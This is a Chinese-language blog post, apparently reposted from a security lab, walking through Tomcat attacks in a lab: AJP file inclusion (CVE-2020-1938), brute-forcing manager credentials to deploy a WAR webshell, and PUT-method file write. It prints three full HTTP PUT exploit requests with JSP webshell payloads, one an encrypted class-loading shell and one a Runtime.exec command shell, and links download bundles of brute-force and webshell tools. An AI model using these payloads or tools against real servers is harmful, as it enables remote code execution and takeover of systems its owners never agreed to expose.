Tomcat漏洞复现

admin 2022年10月2日05:24:16评论56 views字数 3290阅读10分58秒阅读模式

漏洞环境

Tomcat环境:
链接:https://pan.baidu.com/s/1L95660-znIqtz8PpVJU62w
提取码:gbli
端口扫描工具:
链接:https://pan.baidu.com/s/1A8fu4wEe39XqXuSgEqx3ZA
提取码:ndhm
Tomcat账号密码批量爆破工具:
链接:https://pan.baidu.com/s/1Z9lknNIWnmuGUiJh1jl4RQ
提取码:dq2d
冰蝎连接工具
链接:https://pan.baidu.com/s/1vH_5vGsI-TBtmNBDgNNWiA
提取码:4ypd

Tomcat_Ajp漏洞(CVE-2020-1938)

由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。

影响范围:

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

漏洞复现

下载tomcat环境默认安装即可,我选择的版本为7.0.73

Tomcat漏洞复现

端口探测

Tomcat漏洞复现

利用POC:链接:https://pan.baidu.com/s/1qeOett2cNb5WJ-7z3FztAg 提取码:7nie语法如图

Tomcat漏洞复现

Tomcat弱口令拿shell

Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,造成getshell

Tomcat漏洞复现

在安装tomcat我设置了账号密码,使用tomcat账号密码批量爆破工具试试,下载解压即可,语法如图。(觉得字典少的可以自行修改脚本代码添加字典)

Tomcat漏洞复现

Tomcat漏洞复现

Tomcat漏洞复现

上传War

先将jsp大马压缩为zip,再将zip后缀改名为war,然后上传war

Tomcat漏洞复现

当部署war包后,war包就会在当前路径下解压,所以shell地址为

http://172.16.67.196:8080/shell/shell.jsp口令pass

Tomcat漏洞复现

Tomcat PUT 方法任意写文件

影响范围

Apache Tomcat 7.0.0 - 7.0.79实际Tomcat 5-9均存在类似的利用方式

漏洞复现

漏洞利用前提:修改/conf/web.xml修改图中位置,重启tomcat服务。

Tomcat漏洞复现

Poc有三种,具体情况具体对待

POC1:

PUT /1.jsp%20 HTTP/1.1Host: 172.16.67.196:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 613
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

这种方式适合之所以可以成功创建jsp文件是因为Windows下不允许文件名以空格结尾,但是尾部添加空格可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理绕过。这种利用方式适用于Windows服务器+Tomcat 7.x

POC2:

PUT /1.jsp::$DATA HTTP/1.1Host: 172.16.67.196:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 613
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

这种方式之所以可行是因为利用了Windows环境下NTFS文件格式的特性,NTFS文件格式存在如下的性质,为此同样可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用于Windows系统+Tomcat 7.x

Poc3:

PUT /1.jsp/ HTTP/1.1Host: 172.16.67.196:8080Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 532
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

这种利用斜杠/绕过适合Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x

我这里适用第一种情况

Tomcat漏洞复现

Shell地址

http://172.16.67.196:8080/1.jsp  口令pass

Tomcat漏洞复现


原文始发于微信公众号(赛瑞攻防实验室):Tomcat漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月2日05:24:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat漏洞复现http://cn-sec.com/archives/886793.html

发表评论

匿名网友 填写信息